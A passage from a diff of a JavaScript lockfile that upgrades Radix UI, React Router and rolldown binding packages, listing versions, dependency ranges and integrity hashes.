"@radix-ui/react-use-previous": "1.1.2", "@radix-ui/react-visually-hidden": "1.2.6" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-nJ0SkrSQgudyYhMiYeHA1ayLVuduEJCFLan1RZZN7c9kqzzCFLaU9kuy81uNtqzweM9YaQPgWzxi9MwQ9jZ04g=="], + "@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.10", "", { "dependencies": { "@radix-ui/react-slot": "1.3.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-MucOnzh6hR5mid6VpkbglRAMYMjKLqRnGBbjXkzjK52fuQDd1qbkx78a5P40mkcnVXJdEVxm26E9OPAiUq7nBg=="], - "@radix-ui/react-popover": ["@radix-ui/react-popover@1.1.17", "", { "dependencies": { "@radix-ui/primitive": "1.1.4", "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-context": "1.1.4", "@radix-ui/react-dismissable-layer": "1.1.13", "@radix-ui/react-focus-guards": "1.1.4", "@radix-ui/react-focus-scope": "1.1.10", "@radix-ui/react-id": "1.1.2", "@radix-ui/react-popper": "1.3.1", "@radix-ui/react-portal": "1.1.12", "@radix-ui/react-presence": "1.1.6", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-slot": "1.3.0", "@radix-ui/react-use-controllable-state": "1.2.3", "aria-hidden": "^1.2.4", "react-remove-scroll": "^2.7.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-/YSAOdJ7YJvdn7bn5sdSx2egW+SKY+u7O5RyAVs94Ymrg2fg5QTSFPMRkzvhGyFuE4/qsmPBdrwYoZMZh/4f+g=="], + "@radix-ui/react-roving-focus": ["@radix-ui/react-roving-focus@1.1.19", "", { "dependencies": { "@radix-ui/primitive": "1.1.7", "@radix-ui/react-collection": "1.1.15", "@radix-ui/react-compose-refs": "1.1.5", "@radix-ui/react-context": "1.2.2", "@radix-ui/react-direction": "1.1.4", "@radix-ui/react-id": "1.1.4", "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-use-callback-ref": "1.1.4", "@radix-ui/react-use-controllable-state": "1.2.6", "@radix-ui/react-use-is-hydrated": "0.1.3", "@radix-ui/react-use-layout-effect": "1.1.4" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-V9jI6hDjT7l3jsCQD9bLNvDLM3tH/gdbOTp7Tefp3hbbgCGQoK7tUvrWiRlcoBHIZ809ElXwNQwVo0B98LuTXQ=="], - "@radix-ui/react-popper": ["@radix-ui/react-popper@1.3.1", "", { "dependencies": { "@floating-ui/react-dom": "^2.0.0", "@radix-ui/react-arrow": "1.1.10", "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-context": "1.1.4", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-use-callback-ref": "1.1.2", "@radix-ui/react-use-layout-effect": "1.1.2", "@radix-ui/react-use-rect": "1.1.2", "@radix-ui/react-use-size": "1.1.2", "@radix-ui/rect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-bhnq/0DEPTi2lsOD3J5rTL65qUKHbKbhqHsmN9TMiclSXpipi651ooUKPPp6G5lF/WiHBdn1s0Wuqsn+myVAvw=="], + "@radix-ui/react-scroll-area": ["@radix-ui/react-scroll-area@1.2.18", "", { "dependencies": { "@radix-ui/number": "1.1.3", "@radix-ui/primitive": "1.1.7", "@radix-ui/react-compose-refs": "1.1.5", "@radix-ui/react-context": "1.2.2", "@radix-ui/react-direction": "1.1.4", "@radix-ui/react-presence": "1.1.10", "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-use-callback-ref": "1.1.4", "@radix-ui/react-use-layout-effect": "1.1.4" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-Zn5Cd171wxsO3Dfg8HaW6RifTb9CYTKQJHs/G4+LN1GfmJpaQMZQyQxMprVPHpaz7QY4l9BxK2JwQuzHsXC8nA=="], - "@radix-ui/react-portal": ["@radix-ui/react-portal@1.1.12", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-m309havGzsjLHHaIX50G5PlvRs3xkgPCsGk/5PTvYm8D5q33yG0J7w/712PTOhid7NTaFETtnSXjngHQavvhVw=="], + "@radix-ui/react-slot": ["@radix-ui/react-slot@1.3.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.5" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-qx7oqnYbxnK9kYI9m317qmFmEgo6ywqWvbTogdj7cL9p3/yx4M48p7Rnw5z3H890cL/ow/EeWJsuTykeZVXP5Q=="], - "@radix-ui/react-presence": ["@radix-ui/react-presence@1.1.6", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-zdTk4PlUO0E18HnZ3wYbW0KkJJxWCdiNYp6g6X1PtONFhxVkg01vliTJAmwIszU6mHiyBOoW9P0rAugl5/hULQ=="], + "@radix-ui/react-tabs": ["@radix-ui/react-tabs@1.1.21", "", { "dependencies": { "@radix-ui/primitive": "1.1.7", "@radix-ui/react-context": "1.2.2", "@radix-ui/react-direction": "1.1.4", "@radix-ui/react-id": "1.1.4", "@radix-ui/react-presence": "1.1.10", "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-roving-focus": "1.1.19", "@radix-ui/react-use-controllable-state": "1.2.6" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-UKxJlZid7FVtsk/WTxj4i4uSEgj2Au+KBbS7SQyTlzMhhn+86Cz3tISZdTa87bfEfcuvZezf2ZsxD4xuEKtkog=="], - "@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.3", "", { "dependencies": { "@radix-ui/react-slot": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ=="], + "@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-R6OUY2e2fA6Yn6s+VSx5KBV6Nx8LQEhu+cz7LCej18rQ1HLyg9PSC9jP/ZNx0o6FAIK9c0F1kHylzSxKsdlkrQ=="], - "@radix-ui/react-roving-focus": ["@radix-ui/react-roving-focus@1.1.13", "", { "dependencies": { "@radix-ui/primitive": "1.1.4", "@radix-ui/react-collection": "1.1.10", "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-context": "1.1.4", "@radix-ui/react-direction": "1.1.2", "@radix-ui/react-id": "1.1.2", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-use-callback-ref": "1.1.2", "@radix-ui/react-use-controllable-state": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-9gkwneI0guf8JDmrFxPjJF6Ozzgioyw+/lonYNCwefS9ZHA05er0BVHiXr+LbWGHxUfczvMY6G1oiZZi1VzjRw=="], + "@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.2.6", "", { "dependencies": { "@radix-ui/primitive": "1.1.7", "@radix-ui/react-use-effect-event": "0.0.5", "@radix-ui/react-use-layout-effect": "1.1.4" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-uEQJGT97ZA/TgP/Hydw47lHu+/vQj6z/0jA+WeTbK1o9Rx45GImjpD0tc3W5ad3D6XTSR6e1yEO0FvGq6WQfVQ=="], - "@radix-ui/react-scroll-area": ["@radix-ui/react-scroll-area@1.2.12", "", { "dependencies": { "@radix-ui/number": "1.1.2", "@radix-ui/primitive": "1.1.4", "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-context": "1.1.4", "@radix-ui/react-direction": "1.1.2", "@radix-ui/react-presence": "1.1.6", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-use-callback-ref": "1.1.2", "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-xuafVzQiTCLsyEjakowTdG3OgTXsmO7IdCiO77otIa+z44xoLNs9Do5eg7POFumIOCjtG6djfm6RKUKpUa/csA=="], + "@radix-ui/react-use-effect-event": ["@radix-ui/react-use-effect-event@0.0.5", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.4" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-7cshFL8HGS/7HEiHH+9kL9HBwp2sa9yX18Knwek6KYWmXwM7pegMgta2AXMQKI+rq3JnfSj9x8wYqFMTdG1Jgg=="], - "@radix-ui/react-slot": ["@radix-ui/react-slot@1.3.0", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.3" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-MojKku4U/miO8Av4Dkb+ctMAQx7JmY96LmtDQlAarCRtd7rN52QCSzBF+XAvr5S6coSVj9HEPBgHAHKEJVk/WA=="], + "@radix-ui/react-use-is-hydrated": ["@radix-ui/react-use-is-hydrated@0.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-umO/aJ+82CpOnhDZUTbILCQf7kU/g0iv+oGs/Q8jw7IkhWBzaEP4sA268PhFAJTFetbwp3ICc6ktpI4TqtxcIw=="], - "@radix-ui/react-tabs": ["@radix-ui/react-tabs@1.1.15", "", { "dependencies": { "@radix-ui/primitive": "1.1.4", "@radix-ui/react-context": "1.1.4", "@radix-ui/react-direction": "1.1.2", "@radix-ui/react-id": "1.1.2", "@radix-ui/react-presence": "1.1.6", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-roving-focus": "1.1.13", "@radix-ui/react-use-controllable-state": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-kxc9gI6/HfcU4nfMMVS3AmQK414kbU1IE6UCJmMmxjhO3cRPXOyYnmvyKD+ODt7q56nRq9l7Wovi6uaGwKgMlg=="], + "@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-K20DkRkUwDnxEYMBPcg3Y6voLkEy5p5QQmszZgLngKKiC7dzBR/aEuK3w1qlx2JWDUNH6FluahYdgR3BP+QbYw=="], - "@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-xCso9j1/u8sEgP1RNHjFrXJLApL8LiqOkI1R4ywuN00rxWdYg4oQXuwKLS3i0j5NWLromUD27/4nlxj2UFVvIw=="], + "@radix-ui/react-use-previous": ["@radix-ui/react-use-previous@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-XoSLhbRbqxFtgJoi2fNHA3C6pDlY34x508vUpUGoFZfvePfHXHbE1lC4FYFMnJWgiCRroSTw6fOsXQoVS9RwZg=="], - "@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.2.2", "", { "dependencies": { "@radix-ui/react-use-effect-event": "0.0.2", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-BjasUjixPFdS+NKkypcyyN5Pmg83Olst0+c6vGov0diwTEo6mgdqVR6hxcEgFuh4QrAs7Rc+9KuGJ9TVCj0Zzg=="], + "@radix-ui/react-use-rect": ["@radix-ui/react-use-rect@1.1.4", "", { "dependencies": { "@radix-ui/rect": "1.1.3" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-cSOCh6JlkmfjLyNcLiu2nB4v+nm+dkZ+Q5KHWk/soo4U7ZLiEQFKHK9/YmtBHjfCEaU43IBKQOc4/uJmCaiCTQ=="], - "@radix-ui/react-use-effect-event": ["@radix-ui/react-use-effect-event@0.0.2", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-Qp8WbZOBe+blgpuUT+lw2xheLP8q0oatc9UpmiemEICxGvFLYmHm9QowVZGHtJlGbS6A6yJ3iViad/2cVjnOiA=="], + "@radix-ui/react-use-size": ["@radix-ui/react-use-size@1.1.4", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.4" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-D3anSY15EJoxrihpsXI6SMrmmonnQtR2ni7arO+Lfdg3O95b9hNXxONk8jA5C8ANdF/h5HMAxejgs8PWJ6rlhw=="], - "@radix-ui/react-use-escape-keydown": ["@radix-ui/react-use-escape-keydown@1.1.2", "", { "dependencies": { "@radix-ui/react-use-callback-ref": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-2uVLvLjgO7NZCWw01/FdqRwmA42J0BcjPMUCA+koFEOAb+zjqIP7SiFz/7zWPrKnVmSqr76Omq2ALyCuX4dhLw=="], + "@radix-ui/react-visually-hidden": ["@radix-ui/react-visually-hidden@1.2.11", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.10" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-NFS86RYYZb4/exihaESBGOpMJFz8MGLAfu3mOBSGByVnVPC9JPASfYubxd/8KbkQK0sYAv8lVQDEQukDX/qXvQ=="], - "@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-jrBWOxZITuGcnjRCM2t2U5ZPkCLxD+Ym6DjfssS5haTj2iiak/DOb64JeN6OdLfLgptb6/e2kKR+ZuTrGoZTPA=="], + "@radix-ui/rect": ["@radix-ui/rect@1.1.3", "", {}, "sha512-JtyZR+mqgBibTo8xea3B6ZRmzZiM/YeVBtUkas6zMuXjAlfIFIW2FgqeM9eLyvEaYX66vr6DJMK+4U6LV0KhNw=="], - "@radix-ui/react-use-previous": ["@radix-ui/react-use-previous@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-IGBQPtRFdhN6MQ8dbegVmBq1LVZluya3F1jWY+puIcQC3MHctRwTDSBWCkL/3ZcnMJLTMJ++Z+ktmvg0F89iCw=="], + "@react-router/dev": ["@react-router/dev@8.3.1", "", { "dependencies": { "@babel/core": "^7.29.7", "@babel/generator": "^7.29.7", "@babel/parser": "^7.29.7", "@babel/traverse": "^7.29.7", "@babel/types": "^7.29.7", "@react-router/node": "8.3.1", "@remix-run/node-fetch-server": "^0.14.1", "babel-dead-code-elimination": "^1.0.12", "chokidar": "^5.0.0", "dedent": "^1.7.2", "es-module-lexer": "^2.1.0", "exit-hook": "5.1.0", "isbot": "^5.1.40", "jsesc": "3.1.0", "lodash": "^4.18.1", "p-map": "^7.0.4", "pathe": "^2.0.3", "picocolors": "^1.1.1", "pkg-types": "^2.3.1", "react-refresh": "^0.18.0", "semver": "^7.8.1", "tinyglobby": "^0.2.16", "valibot": "^1.4.1" }, "peerDependencies": { "@react-router/serve": "^8.3.1", "@vitejs/plugin-rsc": "~0.5.26", "react-router": "^8.3.1", "react-server-dom-webpack": "^19.2.7", "typescript": "^5.1.0 || ^6.0.0 || ^7.0.0", "vite": "^7.0.0 || ^8.0.0", "wrangler": "^4.0.0" }, "optionalPeers": ["@react-router/serve", "@vitejs/plugin-rsc", "react-server-dom-webpack", "typescript", "wrangler"], "bin": { "react-router": "bin.cjs" } }, "sha512-yvhMiOq+LLmGPgTOYYWjzfapUN4B2/T3nfr8P81bLTiyh0YSx88OAz5y2D/KKS0boF9EoHyhzeMH4ZweMTwjJA=="], - "@radix-ui/react-use-rect": ["@radix-ui/react-use-rect@1.1.2", "", { "dependencies": { "@radix-ui/rect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-d8a+bBY/FxikNPlgJJoaBHZX+zKVbWHYJGTLnLvveQgFSTntkGdEKv3JDtHrMS0DNYpllz2nRsTLGLKYttbpmw=="], + "@react-router/node": ["@react-router/node@8.3.1", "", { "dependencies": { "@remix-run/node-fetch-server": "^0.14.1" }, "peerDependencies": { "react-router": "8.3.1", "typescript": "^5.1.0 || ^6.0.0 || ^7.0.0" }, "optionalPeers": ["typescript"] }, "sha512-JQI2vPd0twfHXxRxD1QWxKkCfu5I7bxojgEZFL97EvbJLm1B6p4qeqvGc9hl9g/3ZYbieczQY6ElM3zZjiG4sA=="], - "@radix-ui/react-use-size": ["@radix-ui/react-use-size@1.1.2", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-giWQp+4mxjBPt4KZ0MmyuykFNWfbDxKt4x+fPkRYmgRFJSbCZFzUglvMb/Kjn38tm10YP4ufiQZDx3zna4LU6w=="], + "@remix-run/node-fetch-server": ["@remix-run/node-fetch-server@0.14.1", "", {}, "sha512-pKenF5ysIN5lDCnCyvoUxDhKP0tfnGagvGbZh01xxHG6DJXSIXWVC9NpLSDGjxcxd1CKdCOKuZFleXBF3pChIg=="], - "@radix-ui/react-visually-hidden": ["@radix-ui/react-visually-hidden@1.2.6", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.6" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-jCE0WljWifTI4niIMCll06kGpsJTAPiZVU9H4WR1N6qW7At9ystHbN7dDB+we2xH535roFHj7qKS+RGj0FMDWQ=="], + "@rolldown/binding-android-arm-eabi": ["@rolldown/binding-android-arm-eabi@1.2.6", "", { "os": "android", "cpu": "arm" }, "sha512-b+jTcARdTiFLI6jB4a5XjTm0RWd6KcRfQj/I2356fxUZemiho9zQLxo0RtCuMDAyKcLo6cEltkgbQp6d1+sjjQ=="], - "@radix-ui/rect": ["@radix-ui/rect@1.1.2", "", {}, "sha512-xnXE7wG13PI+cxieVssYXlQJuYVRhH9NBoxt3KNwzghDIA69GMm7d4wXRouHIYjE+KvS6U/MsMO73NdS2MH9ZA=="], + "@rolldown/binding-android-arm64": ["@rolldown/binding-android-arm64@1.2.6", "", { "os": "android", "cpu": "arm64" }, "sha512-lkWU8ZJaRk9q3CIEY1Tc7vIFALp3Xw5NfGJo2hQg5oIqNgxWi1zI+IiDEK3r70BF5Dzol1tcXsnzsRc8NLhG+Q=="], - "@react-router/dev": ["@react-router/dev@7.18.0", "", { "dependencies": { "@babel/core": "^7.27.7", "@babel/generator": "^7.27.5", "@babel/parser": "^7.27.7", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/preset-typescript": "^7.27.1", "@babel/traverse": "^7.27.7", "@babel/types": "^7.27.7", "@react-router/node": "7.18.0", "@remix-run/node-fetch-server": "^0.13.0", "arg": "^5.0.1", "babel-dead-code-elimination": "^1.0.6", "chokidar": "^4.0.0", "dedent": "^1.5.3", "es-module-lexer": "^1.3.1", "exit-hook": "2.2.1", "isbot": "^5.1.11", "jsesc": "3.0.2", "lodash": "^4.17.21", "p-map": "^7.0.3", "pathe": "^1.1.2", "picocolors": "^1.1.1", "pkg-types": "^2.3.0", "prettier": "^3.6.2", "react-refresh": "^0.14.0", "semver": "^7.3.7", "tinyglobby": "^0.2.14", "valibot": "^1.2.0", "vite-node": "^3.2.2" }, "peerDependencies": { "@react-router/serve": "^7.18.0", "@vitejs/plugin-rsc": "~0.5.21", "react-router": "^7.18.0", "react-server-dom-webpack": "^19.2.3", "typescript": "^5.1.0 || ^6.0.0", "vite": "^5.1.0 || ^6.0.0 || ^7.0.0 || ^8.0.0", "wrangler": "^3.28.2 || ^4.0.0" }, "optionalPeers": ["@react-router/serve", "@vitejs/plugin-rsc", "react-server-dom-webpack", "typescript", "wrangler"], "bin": { "react-router": "bin.js" } }, "sha512-GVTFvul0xlZHZyVXyRpiJv54Xfyj4eDOAlGYrzi7kDmN7n40rsrUqX+hvU0fy/41SCDMtckht59R3iGR94703g=="], + "@rolldown/binding-darwin-arm64": ["@rolldown/binding-darwin-arm64@1.2.6", "", { "os": "darwin", "cpu": "arm64" }, "sha512-dgR56NYnvAszm7Ob1B2/Vn0e8bUQYZH2UjVaMMtMVOCKFSfjhfLmuA/9+O+F+ajUdG6B/bSssrKW6JJYASa8jA=="], - "@react-router/node": ["@react-router/node@7.18.0", "", { "dependencies": { "@mjackson/node-fetch-server": "^0.2.0" }, "peerDependencies": { "react-router": "7.18.0", "typescript": "^5.1.0 || ^6.0.0" }, "optionalPeers": ["typescript"] }, "sha512-pRXJahLrdVfuVbaTpWsZ89mBuGiYH3Z4y+y1UidwxmJFKk6NjMyUvkJl3FjDWdD+nSlgFPSESUZS0hF560MUUQ=="], + "@rolldown/binding-darwin-x64": ["@rolldown/binding-darwin-x64@1.2.6", "", { "os": "darwin", "cpu": "x64" }, "sha512-vpVxFvUCFioJqug7OTvqptkc4yb8UX0AwfDmJpaR/0sWz+BUmqSVAf7c8JkUgnN8YLspb4a/N6NhTyMAmdyQ7Q=="], - "@remix-run/node-fetch-server": ["@remix-run/node-fetch-server@0.13.3", "", {}, "sha512-UfjOXed/DQteaM5VyTfqTeGpHwyL2J5aoRGY6cydip4tt1ehNNeSwuXCC7AEGE0RWBs/7bgKxYkL/B/+UDe4AA=="], + "@rolldown/binding-freebsd-x64": ["@rolldown/binding-freebsd-x64@1.2.6", "", { "os": "freebsd", "cpu": "x64" }, "sha512-h1wG6Y6K3JlRswxsI64qQJqBAy4vrLuHgRbc8CZMGSWTOFRY6ghMApM1NKzB2I0n5xV1fjkE18SuVl2QpLeNpA=="], - "@rolldown/binding-android-arm64": ["@rolldown/binding-android-arm64@1.1.3", "", { "os": "android", "cpu": "arm64" }, "sha512-DT6Z3PhvioeHMvxo+xHc3KtqggrI7CCTXCmC2h/5zUlp5jVitv7XEy+9q5/7v8IolhlioawpMo8Kg0EEBy7J0g=="], + "@rolldown/binding-linux-arm-gnueabihf": ["@rolldown/binding-linux-arm-gnueabihf@1.2.6", "", { "os": "linux", "cpu": "arm" }, "sha512-tbCiqub0q2MVWJKgF5PoAlNWCtQydiOYSLIkd8sByqK/6MMYLJRcSXSYodqYtd0O+Fw7QaVmKKlS4oL94YRZ0w=="], - "@rolldown/binding-darwin-arm64": ["@rolldown/binding-darwin-arm64@1.1.3", "", { "os": "darwin", "cpu": "arm64" }, "sha512-0NwgwsjM7LrsuVnXMK3koTpagBNOhloc/BNjKqZjv4V5zI5r13qx69uVhRx+o5Z0yy4Hzq+lpy7TAgUG/ocvrw=="], + "@rolldown/binding-linux-arm64-gnu": ["@rolldown/binding-linux-arm64-gnu@1.2.6", "", { "os": "linux", "cpu": "arm64" }, "sha512-oxK9+baEBPhZG5HB4URY+uU04zJWeZlH6Tb9rB5DK4DF9XR1uXNLXt5Q5ZsugTKayNCNLhkcwz/ye74hRI98dg=="], - "@rolldown/binding-darwin-x64": ["@rolldown/binding-darwin-x64@1.1.3", "", { "os": "darwin", "cpu": "x64" }, "sha512-YtiBp4disu6V560loT6PjMdiRaWmVvDNrUunAalbiFx2ggeJwxdAsgZMcoGP17uyAsTwAj5V1niksxlHnVQ1Sw=="], + "@rolldown/binding-linux-arm64-musl": ["@rolldown/binding-linux-arm64-musl@1.2.6", "", { "os": "linux", "cpu": "arm64" }, "sha512-muWCk27FVBEZtv0MsK8gnfSmgczA8KQ0uRVJbTABKhkRfQc38aUrcb7fhi3BNiyseFmgcRsoMfQsSNJ+DbZdSw=="], - "@rolldown/binding-freebsd-x64": ["@rolldown/binding-freebsd-x64@1.1.3", "", { "os": "freebsd", "cpu": "x64" }, "sha512-yD3EkEdXk2LypPxnf/kSZHirarsI8gcPzc62SukhR9VJTyvV+F9Q/GxWNuCojc7sXyuVC4DxRGhdDK4X8VSsbw=="], + "@rolldown/binding-linux-ppc64-gnu": ["@rolldown/binding-linux-ppc64-gnu@1.2.6", "", { "os": "linux", "cpu": "ppc64" }, "sha512-eWDoSfU7Co2qj3vgB3Dt4lj1mG6CoWbcJQkRMP3XJplyCMtuaq3LHvPFjS9QIPvMGWVadJC04Xiy0IdcVPtnwQ=="], - "@rolldown/binding-linux-arm-gnueabihf": ["@rolldown/binding-linux-arm-gnueabihf@1.1.3", "", { "os": "linux", "cpu": "arm" }, 